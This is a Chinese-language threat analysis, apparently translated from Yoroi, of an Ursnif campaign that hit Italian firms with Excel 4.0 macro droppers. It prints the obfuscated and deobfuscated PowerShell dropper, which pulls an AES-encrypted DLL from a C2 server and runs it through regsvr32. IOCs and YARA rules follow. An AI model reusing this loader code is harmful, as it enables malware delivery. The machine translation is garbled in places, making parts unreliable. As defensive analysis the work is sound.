关键词:垃圾邮件|意大利|宏代码|介绍|变种|技术分析64反病毒|检出率|基本特征|前提|引擎|攻击

技术分析旧宏代码Loader依据IOCYara介

文章内容文件目录

介绍 技术分析 旧宏代码 Loader 依据 IOC Yara

介绍

Ursnif 是十分活跃性的威协之一,一般对于意大利和欧州好几个制造行业进行垃圾邮件进攻。

近期,发觉了一种对于意大利企业的新 Ursnif 变种。垃圾邮件应用 Avviso di Pagamento_xxxx_date 为题目的附注(xxxx 是大数字,date 是 dd-mm-yyyy 文件格式的时间),例如 Avviso di Pagamento_14326_15_04_2020。大家发觉新一轮进攻中 Ursnif/ISFB Dropper 应用技术性发生了重特大的转变,选用了新技术应用来防止检验,而且对 Ursnif 感柒链开展了重特大的升級更改。

技术分析

与 Ursnif 恶意程序大家族的别的样版对比,此次对于意大利企业应用的样版包括一些关键的升級,并且攻击链拥有明显的转变。最先 Dropper 应用 Excel 4.0 宏(XLM 宏)减少防病毒软件模块的诊断率,接着应用2个不一样的 C&C,在其中一个 C&C 网络服务器仅用以纪录陷落服务器的 UUID 标志。

下面的图是此次 Ursnif 进攻行動的详细感柒链:

旧宏代码

此次全新升级的 Ursnif 进攻行動是应用含有置入 XML 宏的故意电子邮箱附注进行的。下列是 Dropper 的静态数据信息内容:

哈希 5f9da8134eece9a25f6d4da2815d49cc1ea7a5e9d2b18cec549a1ee47010c394 威协 Ursnif XLS 文本文档 Dropper 尺寸 39.0 KB (39936 字节数) 扩展名 MS Excel 文本文档 简略叙述 置入 XML 宏代码的 Ursnif XLS 文本文档 Dropper ssdeep Deb3eTlYkEIbSkKBEqEXPgsRZmbaoFhZhR0cixIHm0LzX74bTPuQ:DeaTlYkEIbSkKBEqEXPgsRZmbaoFhZhq

打开文件,看上去就好像没填的**。网页页面上有一个 Visualiz 按键,引诱受害人点一下开启感柒。点一下该按键后,将起动致力于感柒总体目标电子计算机的编码:

该文件结构类型与以往的故意样版类似,內容区别很大。安全性报警显示信息文本文档中包括动态性內容,历经深层次查验后能够 发觉置入 EXCEL 4.0 宏(XML/XLF 宏)的存有。

动态性內容是应用 Powershell 撰写的,而且被分拆到好几个单元格内,随后应用一些预设的程序处理开展评定:

客户点一下 Allow Content 可开启 Frame1_Layout 涵数。最终会再次拼装故意宏代码,促使文本文档弹出来一个对话框,通告用户文档早已毁坏。当客户点一下时,宏代码会停止 Excel 过程,但 Powershell 会再次在后台管理实行。

再次拼装宏代码后,获取的宏代码是 Ursnif 的 Dropper:

sal uu New-Object; &( ([stRING]$VErBoSePRefErENce)[1,3] 'X'-JoIN'') ( uu io.compRESSiON.defLaTEstrEaM([system.Io.meMoRysTrEaM] [conVerT]::FROMbASE64StriNG( 'ZVULU9pKFP4rOxmum60QSXhpGWYualooPlrB1tbL3ERZJSUmSJYqTfe/3 8syGPuDNkX5/GdN2OFeFKv3vktxm7VYiqHtpVXdN7Q aHOPZ1Xde66 HRe15kNh7LO8TvSFit9YPwqUh1e5JePs/Zn7NdXEdY vsHCOcHWzrCMvztE9L0/wOo/OZl/j8M5vk777PES 9ViqrhgrMnYHg**pMMqPTAulZEnmNtvMBsYB4vPbxhdA7C8QiIvTi5H3YuPpFveYFUOsS6ygX/uQICA8MJRf L9YC2S4g/XipjR9Oi/gmHGRbOQd3tBehZc9nWr3PwwT 9VlCZsEIzt276aRcnjkBXyzkIXC/nHYKxb1vlpzRI53nBxbD6fQyHElw3IqnFchdCSKuOeRabkkzOQr8ohiXiRMyzxCEuC7/F4HgEJQ3h69eqx//49xHl6BzChlSE56IQLp5v8SifSBqKOFo51f5k Da4H/rgd9DsWPGczZ4nI00vnwb cvOWTclX6RdGadcPjMwoEuZsJ52s7voZuaz4IPhxazpvHyBJwS3W8IPUkRWbbGDrBdy3EH7jiLy7y269pNBoW8nHQ0c6bW0hAezol10mS0zfvvFg25a6D2SQm5fUNmvXqWEBqh6nR26RkxUPh3GUD78BbIjrJvs3Uc/cDXIh lCN 1bpV plFi20cNx3E9T/zZ27WZMrJ0FSajdGX3E7xVOknniWKVtb3343A2JEu00C/jKJa2vWdzNebCJiUCLEmq2mgiGX/H9wu6DKQWzZlU81nCiIQsew1Odet/YSdfhKPsJXrAYT6NU5Ow4 C3bvEwyzguX3TLwzaK8DR94RvDBxn0dz9pStVBEPV0y1yb0QPeVdDtaVZ6CtX8mHlEcjMigg5Ek7SAxHE6Hgdd3aJi6nk/TGJu1es0Du/lso42IYXoiS7yf6DdS7MEqdxb2lZdmYesXCU2wEJCmlAhDMzJJJgqnVBZQX9Xw2enQLH2vctKz/NIKoJ9Z4Du87HCoqZ8fwshP5Co7P0BF/uGEOsI0vC8T3ZFepXj3hu9ySL5kfkdMaptq551kZGzhZZxJkkx YXe9SaUJJN8JnXrb3s79xP54kIkWlORI4TrGE2C**g6 wwbvDAGeGQOLBH2bpK/A29duqgcIfZ3Oxn1vTCKYaLtbHg3MSJL3h3VHoj1DSgIVWbS82yqTV3dBM ml6m efb1bXkolpnyGnxBosjnpfWUKHhoAWcv4YZ3sdMF1 VD1XxHU FCKucbZUkcyUSZBF5ox rIoD2SV8mm0ZCjRtQT2xvHr/uqt7L3OjPts9SmvmnkFZmxuL5UjASreGakHeG0HGZe2Qw0z1u357KZeC6oPFw9kHruavZR6waxu ziNAFdGo5EDjIXMjwiAatbXfeJ9Dclcb3aZK/1qmBodbH8Ri8elkPHLXsMhwYFq1JnNrZIHdSwlc2FBua3CH3MhbIvpGL/SB5r4k高清Pp6R5WaLLO0id50Cg7ZadSq6yGKpVMaGYKvci7Hla2ujnQ5Y8eJZVBHIe0nZ8V6d9JKtiJEUyQDBJqUNiIP2MXA ZCT5CBFR5qjkkfEzj4urqq4FVcELb0JTEVY5CYGorTkEJ5ul1DN8 axgRbD1bOHetKngdp8FVa4rZaK7pe0WsMS5/Ql1Eo/wE=' ),[iO.ComPrESsIOn.CoMPreSSioNmodE]::DEcOmPreSS )| fOReACH-ObjECT{ uu iO.StReamrEadeR( $_ ,[teXT.EnCODing]::AsCIi ) } |FoReACh-OBjecT{$_.READTOEnD() } )

去搞混后,编码简单化以下图示:

function SDfiwe(${T`T}){${T`hL}=[regex]::("{2}{0}{1}"-f 'epl','ace','r').Invoke(${tt},'\d','');return ${t`hl}};function YwE(${T`e}){${i`I}=[Convert]::("{0}{3}{2}{4}{1}" -f'F','tring','e64','romBas','S').Invoke(${t`E});return ${Ii}};&("{1}{0}"-f'l','sa') Vu new-object;${l`LA}=$(&("{0}{2}{3}{1}"-f'get-','object','wm','i') Win32_ComputerSystemProduct -computername . | &("{0}{2}{1}"-f'Select-','ject','Ob') -ExpandProperty UUID);${a`Zq}=${ENV`:tE`mP};${f`Bf}=(${d}=&("{0}{1}" -f'gc','i') ${a`zq}|&("{1}{0}{2}"-f 'd','get-ran','om'))."na`mE" -replace ".{5}$";${M`K}=(&("{1}{0}"-f 'i','Gc') -path (((${A`zQ}.("{0}{2}{1}" -f 'to','ring','st').Invoke()))) | &("{2}{3}{0}{1}"-f 'e-Obj','ect','W','her') { ${_}."pSis`cON`TAiner" }|.("{2}{1}{0}"-f 'lect','e','s') fullname |.("{1}{0}{2}"-f'ndo','Get-Ra','m') -count 1)."FulLn`A`Me" '\' ${f`BF} '.';function NiLL(${T`yO}){${k`j}=.('Vu') IO.MemoryStream(,${t`yO});${m`m}=(.('Vu') IO.StreamReader(&('Vu') IO.Compression.GzipStream(${k`J},[IO.Compression.CompressionMode]::"d`ECO`mPrESs"))).("{1}{2}{0}"-f 'nd','ReadT','oE').Invoke();return ${M`M}};&("{0}{1}" -f 's','al') msq regsv***;${S`U}='using System;using System.Security.Cryptography;using System.Text;public class Af{public static byte[] mol(byte[] kk, string lj){byte[] jik = new UTF8Encoding().GetBytes(lj);Aes AESImplementation = Aes.Create("AES");AESImplementation.Key = jik;AESImplementation.Mode = CipherMode.ECB;ICryptoTransform CryptoTransform = AESImplementation.CreateDecryptor();return CryptoTransform.TransformFinalBlock(kk, 0, kk.Length);}public static byte[] cer(string kk, string lj){return mol(Convert.FromBase64String(kk), lj);}public static string fte(byte[] kk, string lj){return new UTF8Encoding().GetString(mol(kk, lj));}public static string fte(string kk, string lj){return new UTF8Encoding().GetString(cer(kk, lj));}}';.("{0}{1}"-f'A','dd-Type') -TypeDefinition ${su};function osi{${M}=${x`Q} ${q} '?' ${L`LA};.('Sv') 8 ${m};&('SV') t0L ("{2}{3}{0}{1}"-f 'ie','nt','Net','.WebCl');.('Si') Variable:B (&('Vu') (&("{0}{1}" -f 'I','tem') Variable:\t0L)."v`ALUe");.('Sv') D ("{2}{0}{1}" -f'adDa','ta','Downlo');${f`DS}=(([byte[]](&('Gv') B -Value).((&('LS') Variable:D)."Va`LUE")."IN`VOke"((&('GI') Variable:8)."vAL`Ue")));return &("{0}{1}"-f 'Ni','LL')(${F`ds})};function kelv{${Fd}=&("{1}{0}" -f 'i','os');${fd}=[Af]::("{1}{0}"-f'e','ft').Invoke(${Fd},${l`lA}.("{2}{0}{1}"-f'ubstrin','g','s').Invoke(0,16));${U}=${FD}.("{1}{2}{0}" -f 'tring','su','bs').Invoke(0,1);${e`F}=${F`D}.("{1}{0}"-f 'emove','r').Invoke(0,1);${O`O}=${e`F} -split'!';${vr}=[Text.Encoding]::"Ut`F8";foreach(${O} in ${oO}[0]){${o`UT}[email protected]();${O`A}=${U}.("{0}{1}{2}"-f'ToCharArr','a','y').Invoke();${o}=&("{1}{0}" -f 'wE','Y')(${O});for(${I}=0; ${i} -lt ${O}."c`oUnT"; ${I} ){${o`Ut} = [char]([Byte]${O}[${i}] -bxor[Byte]${OA}[${I}%${o`A}."COU`NT"])}};${SS}=${e`F}."rep`lA`ce"((${o`O}[0] "!"),${v`R}."gE`TSTr`i`NG"(${O`UT}));return ${SS}};function gb{${k`I}=&("{1}{0}"-f'lv','ke');[io.file]::("{0}{2}{1}"-f'Write','tes','AllBy').Invoke(${m`K},(.("{1}{0}" -f 'E','Yw')(${ki} -replace ".{200}$")));if((&("{1}{0}"-f 'ci','g') ${mk})."Len`GtH" -lt 512){exit};&("{0}{1}"-f'ms','q') -s ${mK};.("{0}{1}" -f'sle','ep') 15;.('sl');[io.file]::("{2}{1}{0}" -f'ines','llL','WriteA').Invoke(${m`k},(&("{1}{0}"-f'Dfiwe','S')(${l`LA})))};&('gb')

在这里,恶意程序应用了一个独特的方法确保唯一感柒。在前面的代码段中,早已看见该电子计算机的 UUID 建立,该 UUID 值被做为 GET 恳求的主要参数。假如第二次应用同样的 UUID 推送 GET 恳求,网络服务器将回到一个空回应。而假如 UUID 被第一次发给网络服务器,将回到感柒的下一阶段。

如上图示,回应体早已被数据加密了。由上边编码中显示信息的 AES 破译编码破译,接着根据 regsrv32.exe 过程实行。

Loader

Payload 以下图示:

哈希 e32c592819d825851bae84a33bf5fa1a26e0a57a14c0e4b8c3e845c1117998a0 威协 Ursnif Loader 尺寸 289.50KB(296448 字节数) 扩展名 DLL 简略叙述 可以引入运行内存的 Ursnif Loader ssdeep 6144:ydLG0cc HXn8zAzaFVqG9aldc3w0QBA8Ys37cMsu a:y5GjsEzaKG4XcLs3isu a imphash f11ff0b8c499af0d98f00299b97339cf

该部件是 Ursnif 的 Payload 的载入程序流程,载入注册表文件 HKCU\Software\AppDataLow\Software\Microsoft\Microsoft\[RANDOMID] 做为持久化体制。

和經典的 Ursnif 恶意程序感柒相近,该样版也会将配备字符串数组以 base64 编号并应用 Serpent 优化算法数据加密发送至 C&C 网络服务器。二种方式 能够 查找配备字符串数组:

第一种是应用过程运行内存中的密匙破译发送至 C&C 网络服务器的恳求

第二种是在过程中搜索配备字符串数组

Ursnif 此次进攻行動的配备以下图示:

k=kjrisau&soft=1&version=214131&user=92bdf642cd2b24f71ccbae351ccb9aa9&server=12&id=4444&crc=ef267149&uptime=12089&ip=*.*.*.*

依据

根据不断的追踪剖析,能够 发觉 Ursnif 的 TTP 在伴随着時间更改,恶意程序在避开检验与反剖析上的技术性已经快速发展趋势。

此次对于西班牙企业的攻击在维持基本特征和作用不会改变的前提下,应用 XLM 宏来减少反病毒引擎的检出率,并应用2个不一样的 C&C 网络服务器。在其中一个 C&C 网络服务器只接纳 UUID 追踪陷落服务器,该体制能够 尽快追踪恶意程序的感柒状况。

IOC

5f9da8134eece9a25f6d4da2815d49cc1ea7a5e9d2b18cec549a1ee47010c394E32c592819d825851bae84a33bf5fa1a26e0a57a14c0e4b8c3e845c1117998a0newuploadswift[.pwyefgweoiuhf[.xyzHKCU\Software\AppDataLow\Software\Microsoft\Microsoft[RANDOMID]

Yara

rule loaderXLS_Ursnif_Italy_April_2020 {meta: description = "Yara rule for Ursnif XLS loader - April Italian Campaign" hash = "5f9da8134eece9a25f6d4da2815d49cc1ea7a5e9d2b18cec549a1ee47010c394" author = "Cybaze - Yoroi ZLab" last_updated = "2020-04-16" tlp = "white" category = "informational"strings: $s1 = "powershellB" $s2 = {73 61 70 73 20 50 6F 77 65 72 53 68 65 6C 6C 20 3D 61 72 67 20 27 73 61 6C 20 75 75 20 4E 65 77 3D 4F 62 6A 65 63 74 3B 20 26 7B 28 7D 20 7B 28 7D 7B 5B 7D 73 74 52 49 4E 47 7B 6D 7D 24 56 45 72 42 6F 53 65 50 52 65 66 45 72 45 4E 63 65 7B 29 7D 7B 5B 7D 31 2C 33 7B 6D 7D 7B 2B 7D 27 27 58 27 27 3D 4A 6F 49 4E 27 27 27 27 7B 29 7D 20 7B 28 7D 20 75 75 20 69 6F 2E 63 6F 6D 70 52 45 53 53 69 4F 4E 2E 64 65 66 5C 61 54 45 73 74 72 45 61 4D 7B 28 7D 7B 5B 7D 73 79 73 74 65 6D 2E 49 6F 2E 6D 65 4D 6F 52 79 73 54 72 45 61 4D 7B 6D 7D 20 7B 5B 7D 63 6F 6E 56 65 72 54 7B 6D 7D 2A 2A 46 52 4F 4D 62 41 53 45 36 34 53 74 72 69 4E 47 7B 28 7D 20 27 27 5A 56 55 5C 55 39 70 4B 46 50 34 72 4F 78 6D 75 6D 36 30 51 53 58 68 70 47 57 59 75 61 6C 6F 6F 50 6C 72 42 31 74 62} $s3 = {FF 09 01 17 FC 00 5C 33 45 52 5A 4A 53 55 6D 53 4A 59 71 54 66 65 2F 33 7B 2B 7D 38 73 79 47 50 75 44 4E 6B 58 35 2F 47 64 4E 32 4F 46 65 46 4B 76 33 76 6B 74 78 6D 37 56 59 69 71 48 74 70 56 58 64 4E 37 51 7B 2B 7D 61 48 4F 50 5A 31 58 64 65 36 36 7B 2B 7D 48 52 65 31 33 6B 4E 68 37 5C 4F 38 54 76 53 46 69 74 39 59 50 77 71 55 68 31 65 35 4A 65 50 73 2F 5A 6E 37 4E 64 58 45 64 59 7B 2B 7D 76 73 48 43 4F 63 48 57 7A 72 43 4D 76 7A 74 45 39 5C 30 2F 77 4F 6F 2F 4F 5A 6C 2F 6A 38 4D 35 76 6B 37 37 37 50 45 53 7B 2B 7D 39 56 69 71 72 68 67 72 4D 6E 59 48 67 43 34 70 4D 4D 71 50 54 41 75 6C 5A 45 6E 6D 4E 74 76 4D 42 73 59 42 34 76 50 62 78 68 64 41 37 43 38 51 69 49 76 54 69 35 48 33 59 75 50 70 46 76 65 59 46 55 4F 73 53 36 79 67 58 2F 75 51 49 43 41 38 4D 4A} $s4 = {2B 7D 5C 39 59 43 32 53 34 67 2F 58 69 70 6A 52 39 4F 69 2F 67 6D 48 47 52 62 4F 51 64 33 74 42 65 68 5A 63 39 6E 57 72 33 50 77 77 54 7B 2B 7D 35 56 6C 43 5A 73 45 49 7A 74 32 37 36 61 52 63 6E 6A 6B 42 58 79 7A 6B 49 58 43 2F 6E 48 59 4B 78 62 31 76 6C 70 7A 52 49 35 33 6E 42 78 62 44 36 66 51 79 48 45 6C 77 33 49 71 6E 46 63 68 64 43 53 4B 75 4F 65 52 61 62 6B 6B 7A 4F 51 72 38 6F 68 69 58 69 52 4D 79 7A 78 43 45 75 43 37 2F 46 34 48 67 45 4A 51 33 68 36 39 65 71 78 2F 2F 34 39 78 48 6C 36 42 7A 43 68 6C 53 45 35 36 49 51 5C 70 35 76 38 53 69 66 53 42 71 4B 4F 46 6F 35 31 66 33 6B 7B 2B 7D 44 61 34 48 2F 72 67 64 39 44 73 57 50 47 63 7A 5A 34 6E 49 30 30 76 6E 77 62 7B 2B 7D 63 76 4F 57 54 63 6C 58 36 52 64 47 61 64 63 50 6A 4D 77 6F 45 75 5A 73 4A } $s5 = {54 2E 45 6E 43 4F 44 69 6E 67 7B 6D 7D 2A 2A 41 73 43 49 69 20 7B 29 7D 20 7B 7D 7D 20 7C 46 6F 52 65 41 43 68 3D 4F 42 6A 65 63 54 7B 7B 7D 24 5F 2E 52 45 41 44 54 4F 45 6E 44 7B 28 7D 7B 29 7D 20 7B 7D 7D 20 7B 29 7D 27 20 3D 57 69 6E 20 30 31 3B 63 6C 65 61 72 3B 65 78 69 74 7E 7B 4E 55 4D 5C 4F 43 4B 7D} $s6 = {20 69 6D 70 6F 73 73 69 62 69 6C 65 20 63 61 72 69 63 61 72 6C 6F 2E}condition: $s1 and (1 of ($s2,$s3,$s4,$s5)) and $s6}import "pe"rule payload_DLL_Ursnif_March_2020 {meta: description = "Yara rule for Ursnif payload - April Italian Campaign" hash = "E32C592819D825851BAE84A33BF5FA1A26E0A57A15C0E4B8C3E845C1117998A0" author = "Cybaze - Yoroi ZLab" last_updated = "2020-04-17" tlp = "white" category = "informational"strings: $b1 = "c:\\Above\\Industry\\Fear\\ring\\charge\\large\\set\\EarthAgainst.pdb" ascii wide $b2 = {00 2E 3F 41 56 72 75 6E 74 69 6D 65 5F 65 72 72 6F 72 40 73 74 64 40 40} $b3 = {41 42 43 44 45 46 47 48 49 4A 4B 5C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A} $b4 = {65 00 6E 00 3D 00 ?? 00 ?? 00 00 00} $b5 = "A-C0F2E0B9FA8E}\\hide.me VPN\\Hide.me.exe" ascii wideCondition: uint16(0) == 0x5A4D and pe.number_of_sections == 5 and pe.imphash()=="f11ff0b8c499af0d98f00299b97339cf" and any of them}

*参照来源于:Yoroi,FB 网编 Avenger 编译器,转截请标明来源于 FreeBuf.COM

猜你喜欢